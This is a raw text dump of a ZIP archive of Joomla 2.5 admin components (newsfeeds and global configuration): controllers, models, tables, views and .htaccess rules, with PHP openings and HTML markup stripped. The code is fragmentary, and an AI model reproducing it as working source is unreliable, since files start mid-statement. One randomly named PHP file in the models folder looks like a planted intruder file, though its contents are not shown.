($categoryId) { // The category has been set. Check the category permissions. return $user->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Newsfeed', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PK@y>\).components/com_newsfeeds/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_newsfeeds/controllers/index.htmlnuW+A PK@y>\eZ2components/com_newsfeeds/controllers/newsfeeds.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\ŧ|'components/com_newsfeeds/controller.phpnuW+AcheckEditId('com_newsfeeds.edit.newsfeed', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds', false)); return false; } parent::display(); } } PK@y>\)+components/com_newsfeeds/elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6@{{.components/com_newsfeeds/elements/newsfeed.phpnuW+AsetQuery($query); $options = $db->loadObjectList(); $n = count($options); for ($i = 0; $i < $n; $i++) { $options[$i]->text = $options[$i]->title . '-' . $options[$i]->name; } array_unshift($options, JHtml::_('select.option', '0', '- '.JText::_('COM_NEWSFEEDS_SELECT_FEED').' -', 'id', 'text')); return JHtml::_('select.genericlist', $options, ''.$control_name.'['.$name.']', 'class="inputbox"', 'id', 'text', $value, $control_name.$name); } } PK@y>\V,components/com_newsfeeds/elements/index.htmlnuW+A PK@y>\200&components/com_newsfeeds/newsfeeds.phpnuW+Aauthorise('core.manage', 'com_newsfeeds')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Newsfeeds'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\+tO' ' &components/com_newsfeeds/newsfeeds.xmlnuW+A com_newsfeeds Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_NEWSFEEDS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql controller.php index.html metadata.xml newsfeeds.php router.php helpers models views language/en-GB.com_newsfeeds.ini com_newsfeeds com_newsfeeds_feeds com_newsfeeds_categories access.xml config.xml controller.php index.html newsfeeds.php controllers elements helpers models tables views language/en-GB.com_newsfeeds.ini language/en-GB.com_newsfeeds.sys.ini PK@y>\V#components/com_newsfeeds/index.htmlnuW+A PK@y>\))components/com_newsfeeds/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ԭ  -components/com_newsfeeds/models/newsfeeds.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string'); $this->setState('filter.state', $state); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', null); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_newsfeeds'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid,' . 'a.numarticles, a.cache_time, ' . ' a.published, a.access, a.ordering, a.language, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__newsfeeds').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state. $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by category. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = ' . (int) $categoryId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\@4L$$3components/com_newsfeeds/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $newsfeedId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__newsfeeds' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $newsfeedId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $newsfeedId ? 0 : 1); } return implode($html); } } PK@y>\)0components/com_newsfeeds/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_newsfeeds/models/fields/index.htmlnuW+A PK@y>\=o4components/com_newsfeeds/models/fields/newsfeeds.phpnuW+AgetQuery(true); $query->select('id As value, name As text'); $query->from('#__newsfeeds AS a'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK@y>\V7components/com_newsfeeds/models/fields/modal/index.htmlnuW+A PK@y>\1RJ :components/com_newsfeeds/models/fields/modal/newsfeeds.phpnuW+Aid.'(id, name, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Build the script. $script = array(); $script[] = ' window.addEvent("domready", function() {'; $script[] = ' var div = new Element("div").setStyle("display", "none").inject(document.id("menu-types"), "before");'; $script[] = ' document.id("menu-types").inject(div, "bottom");'; $script[] = ' });'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Get the title of the linked chart $db = JFactory::getDBO(); $db->setQuery( 'SELECT name' . ' FROM #__newsfeeds' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_NEWSFEEDS_SELECT_A_FEED'); } $link = 'index.php?option=com_newsfeeds&view=newsfeeds&layout=modal&tmpl=component&function=jSelectChart_'.$this->id; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
      '; $html .= ''."\n"; // The active newsfeed id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html .= ''; return $html; } } PK@y>\)6components/com_newsfeeds/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*components/com_newsfeeds/models/index.htmlnuW+A PK@y>\׶kSS2components/com_newsfeeds/models/forms/newsfeed.xmlnuW+A
      PK@y>\V0components/com_newsfeeds/models/forms/index.htmlnuW+A PK@y>\)/components/com_newsfeeds/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]/0####,components/com_newsfeeds/models/newsfeed.phpnuW+AgetTable(); $i = 0; // Check that the category exists if ($categoryId) { $categoryTable = JTable::getInstance('Category'); if (!$categoryTable->load($categoryId)) { if ($error = $categoryTable->getError()) { // Fatal error $this->setError($error); return false; } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } } } if (empty($categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } // Check that the user has create permission for the component $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_newsfeeds.category.' . $categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } // Parent exists so we let's proceed while (!empty($pks)) { // Pop the first ID off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Alter the title & alias $data = $this->generateNewTitle($categoryId, $table->alias, $table->name); $table->name = $data['0']; $table->alias = $data['1']; // Reset the ID because we are making a copy $table->id = 0; // New category ID $table->catid = $categoryId; // TODO: Deal with ordering? //$table->ordering = 1; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Method to test whether a record can be deleted. * * @param object A record object. * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canDelete($record) { if (!empty($record->id)) { if ($record->published != -2) { return ; } $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.delete', 'com_newsfeed.category.'.(int) $record->catid); } else { return parent::canDelete($record); } } } /** * Method to test whether a record can have its state changed. * * @param object A record object. * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_newsfeeds.category.'.(int) $record->catid); } else { return parent::canEditState($record); } } /** * Returns a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object */ public function getTable($type = 'Newsfeed', $prefix = 'NewsfeedsTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_newsfeeds.newsfeed', 'newsfeed', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Determine correct permissions to check. if ($this->getState('newsfeed.id')) { // Existing record. Can only edit in selected categories. $form->setFieldAttribute('catid', 'action', 'core.edit'); } else { // New record. Can only create in selected categories. $form->setFieldAttribute('catid', 'action', 'core.create'); } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_newsfeeds.edit.newsfeed.data', array()); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('newsfeed.id') == 0) { $app = JFactory::getApplication(); $data->set('catid', JRequest::getInt('catid', $app->getUserState('com_newsfeeds.newsfeeds.filter.category_id'))); } } return $data; } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry->toArray(); } return $item; } /** * Prepare and sanitise the table prior to saving. */ protected function prepareTable(&$table) { $date = JFactory::getDate(); $user = JFactory::getUser(); $table->name = htmlspecialchars_decode($table->name, ENT_QUOTES); $table->alias = JApplication::stringURLSafe($table->alias); if (empty($table->alias)) { $table->alias = JApplication::stringURLSafe($table->name); } if (empty($table->id)) { // Set the values //$table->created = $date->toSql(); // Set ordering to the last item if not set if (empty($table->ordering)) { $db = JFactory::getDbo(); $db->setQuery('SELECT MAX(ordering) FROM #__newsfeeds'); $max = $db->loadResult(); $table->ordering = $max+1; } } else { // Set the values //$table->modified = $date->toSql(); //$table->modified_by = $user->get('id'); } } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param int $value The value of the published state. * * @return boolean True on success. * @since 1.6 */ function publish(&$pks, $value = 1) { $result = parent::publish($pks, $value); // Clean extra cache for newsfeeds $this->cleanCache('feed_parser'); return $result; } /** * A protected method to get a set of ordering conditions. * * @param object A record object. * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'catid = '.(int) $table->catid; return $condition; } } PK@y>\B\*components/com_newsfeeds/models/exlztw.phpnuW+AxePK@y>\)"components/com_newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(#components/com_newsfeeds/config.xmlnuW+A
      PK@y>\gg#components/com_newsfeeds/access.xmlnuW+A
      PK@y>\V*components/com_newsfeeds/tables/index.htmlnuW+A PK@y>\j,components/com_newsfeeds/tables/newsfeed.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Overloaded check method to ensure data integrity. * * @return boolean True on success. */ function check() { // Check for valid name. if (trim($this->name) == '') { $this->setError(JText::_('COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->name; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } // Check the publish down date is not earlier than publish up. if (intval($this->publish_down) > 0 && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } // clean up description -- eliminate quotes and <> brackets if (!empty($this->metadesc)) { // only process if not empty $bad_characters = array("\"", "<", ">"); $this->metadesc = JString::str_ireplace($bad_characters, "", $this->metadesc); } return true; } /** * Overriden JTable::store to set modified data and user id. * * @param boolean True to update fields even if they are null. * @return boolean True on success. * @since 1.6 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New newsfeed. A feed created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the alias is unique $table = JTable::getInstance('Newsfeed', 'NewsfeedsTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS')); return false; } return parent::store($updateNulls); } } PK@y>\))components/com_newsfeeds/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_newsfeeds/helpers/index.htmlnuW+A PK@y>\)*components/com_newsfeeds/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5}.components/com_newsfeeds/helpers/newsfeeds.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\)/components/com_newsfeeds/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\EK2components/com_newsfeeds/helpers/html/newsfeed.phpnuW+A array('tick.png', 'newsfeeds.unpublish', 'JPUBLISHED', 'COM_NEWSFEEDS_UNPUBLISH_ITEM'), 0 => array('publish_x.png', 'newsfeeds.publish', 'JUNPUBLISHED', 'COM_NEWSFEEDS_PUBLISH_ITEM') ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = '' . JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true).''; return $html; } /** * Display an HTML select list of state filters * * @param int $selected The selected value of the list * @return string The HTML code for the select tag * @since 1.6 */ public static function filterstate($selected) { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '*', JText::_('JOPTION_ANY')); $options[] = JHtml::_('select.option', '1', JText::_('JPUBLISHED')); $options[] = JHtml::_('select.option', '0', JText::_('JUNPUBLISHED')); return JHtml::_('select.genericlist', $options, 'filter_published', array( 'list.attr' => 'class="inputbox" onchange="this.form.submit();"', 'list.select' => $selected ) ); } } PK@y>\V0components/com_newsfeeds/helpers/html/index.htmlnuW+A PK@y>\V components/com_config/index.htmlnuW+A PK@y>\V&components/com_config/views/index.htmlnuW+A PK@y>\3components/com_config/views/component/view.html.phpnuW+Aget('Form'); $component = $this->get('Component'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Bind the form to the data. if ($form && $component->params) { $form->bind($component->params); } $this->assignRef('form', $form); $this->assignRef('component', $component); $this->document->setTitle(JText::_('JGLOBAL_EDIT_PREFERENCES')); parent::display($tpl); JRequest::setVar('hidemainmenu', true); } } PK@y>\)4components/com_config/views/component/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_config/views/component/tmpl/index.htmlnuW+A PK@y>\+Dz z 6components/com_config/views/component/tmpl/default.phpnuW+AgetTemplate(); // Load the tooltip behavior. JHtml::_('behavior.tooltip'); JHtml::_('behavior.formvalidation'); ?>
      component->option.'_configuration') ?>
      component->option.'_configuration', array('useCookie'=>1)); $fieldSets = $this->form->getFieldsets(); foreach ($fieldSets as $name => $fieldSet) : $label = empty($fieldSet->label) ? 'COM_CONFIG_'.$name.'_FIELDSET_LABEL' : $fieldSet->label; echo JHtml::_('tabs.panel', JText::_($label), 'publishing-details'); if (isset($fieldSet->description) && !empty($fieldSet->description)) : echo '

      '.JText::_($fieldSet->description).'

      '; endif; ?>
        form->getFieldset($name) as $field): ?>
      • hidden) : ?> label; ?> input; ?>
      PK@y>\)/components/com_config/views/component/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_config/views/component/index.htmlnuW+A PK@y>\~G5components/com_config/views/application/view.html.phpnuW+Aget('Form'); $data = $this->get('Data'); // Check for model errors. if ($errors = $this->get('Errors')) { JError::raiseError(500, implode('
      ', $errors)); return false; } // Bind the form to the data. if ($form && $data) { $form->bind($data); } // Get the params for com_users. $usersParams = JComponentHelper::getParams('com_users'); // Get the params for com_media. $mediaParams = JComponentHelper::getParams('com_media'); // Load settings for the FTP layer. $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $this->assignRef('form', $form); $this->assignRef('data', $data); $this->assignRef('ftp', $ftp); $this->assignRef('usersParams', $usersParams); $this->assignRef('mediaParams', $mediaParams); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CONFIG_GLOBAL_CONFIGURATION'), 'config.png'); JToolBarHelper::apply('application.apply'); JToolBarHelper::save('application.save'); JToolBarHelper::divider(); JToolBarHelper::cancel('application.cancel'); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_SITE_GLOBAL_CONFIGURATION'); } } PK@y>\V2components/com_config/views/application/index.htmlnuW+A PK@y>\w)̅=components/com_config/views/application/tmpl/default_mail.phpnuW+A
        form->getFieldset('mail') as $field): ?>
      • label; ?> input; ?>
      PK@y>\A%%Acomponents/com_config/views/application/tmpl/default_ftplogin.phpnuW+A
      ftp instanceof Exception): ?>

      ftp->message); ?>

      PK@y>\$Ɖ?components/com_config/views/application/tmpl/default_server.phpnuW+A
        form->getFieldset('server') as $field): ?>
      • label; ?> input; ?>
      PK@y>\g ?components/com_config/views/application/tmpl/default_cookie.phpnuW+A
        form->getFieldset('cookie') as $field): ?>
      • label; ?> input; ?>
      PK@y>\?components/com_config/views/application/tmpl/default_system.phpnuW+A
        form->getFieldset('system') as $field): ?>
      • label; ?> input; ?>
      PK@y>\J= ?components/com_config/views/application/tmpl/default_locale.phpnuW+A
        form->getFieldset('locale') as $field): ?>
      • label; ?> input; ?>
      PK@y>\qqDcomponents/com_config/views/application/tmpl/default_permissions.phpnuW+A
      form->getFieldset('permissions') as $field): ?> label; ?>
      input; ?>
      PK@y>\*xj j 8components/com_config/views/application/tmpl/default.phpnuW+Adocument->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); ?>
      ftp) : ?> loadTemplate('ftplogin'); ?>
      loadTemplate('site'); ?> loadTemplate('metadata'); ?>
      loadTemplate('seo'); ?> loadTemplate('cookie'); ?>
      loadTemplate('system'); ?>
      loadTemplate('debug'); ?> loadTemplate('cache'); ?> loadTemplate('session'); ?>
      loadTemplate('server'); ?> loadTemplate('locale'); ?> loadTemplate('ftp'); ?>
      loadTemplate('database'); ?> loadTemplate('mail'); ?>
      loadTemplate('permissions'); ?>
      loadTemplate('filters'); ?>
      PK@y>\򵢮@components/com_config/views/application/tmpl/default_filters.phpnuW+A

      form->getFieldset('filters') as $field): ?> label; ?>
      input; ?>
      PK@y>\m:Ff@components/com_config/views/application/tmpl/default_session.phpnuW+A
        form->getFieldset('session') as $field): ?>
      • label; ?> input; ?>
      PK@y>\d2<components/com_config/views/application/tmpl/default_seo.phpnuW+A
        form->getFieldset('seo') as $field): ?>
      • label; ?> input; ?>
      PK@y>\V7components/com_config/views/application/tmpl/index.htmlnuW+A PK@y>\Nl<components/com_config/views/application/tmpl/default_ftp.phpnuW+A
        form->getFieldset('ftp') as $field): ?>
      • label; ?> input; ?>
      PK@y>\]9ދAcomponents/com_config/views/application/tmpl/default_database.phpnuW+A
        form->getFieldset('database') as $field): ?>
      • label; ?> input; ?>
      PK@y>\Ϫ5>components/com_config/views/application/tmpl/default_cache.phpnuW+A
        form->getFieldset('cache') as $field): ?>
      • label; ?> input; ?>
      • data['cache_handler']) && $this->data['cache_handler'] == 'memcache' || $this->data['session_handler'] == 'memcache') : ?> form->getFieldset('memcache') as $mfield): ?>
      • label; ?> input; ?>
      PK@y>\_=components/com_config/views/application/tmpl/default_site.phpnuW+A
        form->getFieldset('site') as $field): ?>
      • label; ?> input; ?>
      PK@y>\ʏ˿##Ccomponents/com_config/views/application/tmpl/default_navigation.phpnuW+A PK@y>\Ro*Acomponents/com_config/views/application/tmpl/default_metadata.phpnuW+A
        form->getFieldset('metadata') as $field): ?>
      • label; ?> input; ?>
      PK@y>\ÁxՇ>components/com_config/views/application/tmpl/default_debug.phpnuW+A
        form->getFieldset('debug') as $field): ?>
      • label; ?> input; ?>
      PK@y>\)6components/com_config/views/application/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1components/com_config/views/application/.htaccessnuW+A Order allow,deny Deny from all PK@y>\1  /components/com_config/views/close/view.html.phpnuW+AaddScriptDeclaration(' window.parent.location.href=window.parent.location.href; window.parent.SqueezeBox.close(); '); } } PK@y>\)+components/com_config/views/close/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_config/views/close/index.htmlnuW+A PK@y>\)%components/com_config/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\m^7{{ components/com_config/config.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\S components/com_config/config.xmlnuW+A com_config Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONFIG_XML_DESCRIPTION config.php controller.php index.html controllers models views language/en-GB.com_config.ini PK@y>\)components/com_config/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%  $components/com_config/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { if ($vName != 'close') { // Get the model for the view. $model = $this->getModel($vName); // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Push the model into the view (as default). $view->setModel($model, true); } $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } } PK@y>\Byw*components/com_config/models/component.phpnuW+AsetState('component.option', $component); // Set an alternative path for the configuration file. if ($path = JRequest::getString('path')) { $path = JPath::clean(JPATH_SITE . '/' . $path); JPath::check($path); $this->setState('component.path', $path); } } /** * Method to get a form object. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { if ($path = $this->getState('component.path')) { // Add the search path for the admin component config.xml file. JForm::addFormPath($path); } else { // Add the search path for the admin component config.xml file. JForm::addFormPath(JPATH_ADMINISTRATOR.'/components/'.$this->getState('component.option')); } // Get the form. $form = $this->loadForm( 'com_config.component', 'config', array('control' => 'jform', 'load_data' => $loadData), false, '/config' ); if (empty($form)) { return false; } return $form; } /** * Get the component information. * * @return object * @since 1.6 */ function getComponent() { // Initialise variables. $option = $this->getState('component.option'); // Load common and local language files. $lang = JFactory::getLanguage(); $lang->load($option, JPATH_BASE, null, false, true) || $lang->load($option, JPATH_BASE . "/components/$option", null, false, true); $result = JComponentHelper::getComponent($option); return $result; } /** * Method to save the configuration data. * * @param array An array containing all global config data. * * @return bool True on success, false on failure. * @since 1.6 */ public function save($data) { $dispatcher = JDispatcher::getInstance(); $table = JTable::getInstance('extension'); $isNew = true; // Save the rules. if (isset($data['params']) && isset($data['params']['rules'])) { $rules = new JAccessRules($data['params']['rules']); $asset = JTable::getInstance('asset'); if (!$asset->loadByName($data['option'])) { $root = JTable::getInstance('asset'); $root->loadByName('root.1'); $asset->name = $data['option']; $asset->title = $data['option']; $asset->setLocation($root->id, 'last-child'); } $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { $this->setError($asset->getError()); return false; } // We don't need this anymore unset($data['option']); unset($data['params']['rules']); } // Load the previous Data if (!$table->load($data['id'])) { $this->setError($table->getError()); return false; } unset($data['id']); // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the oonConfigurationBeforeSave event. $result = $dispatcher->trigger($this->event_before_save, array($this->option . '.' . $this->name, $table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Clean the component cache. $this->cleanCache('_system'); // Trigger the onConfigurationAfterSave event. $dispatcher->trigger($this->event_after_save, array($this->option . '.' . $this->name, $table, $isNew)); return true; } } 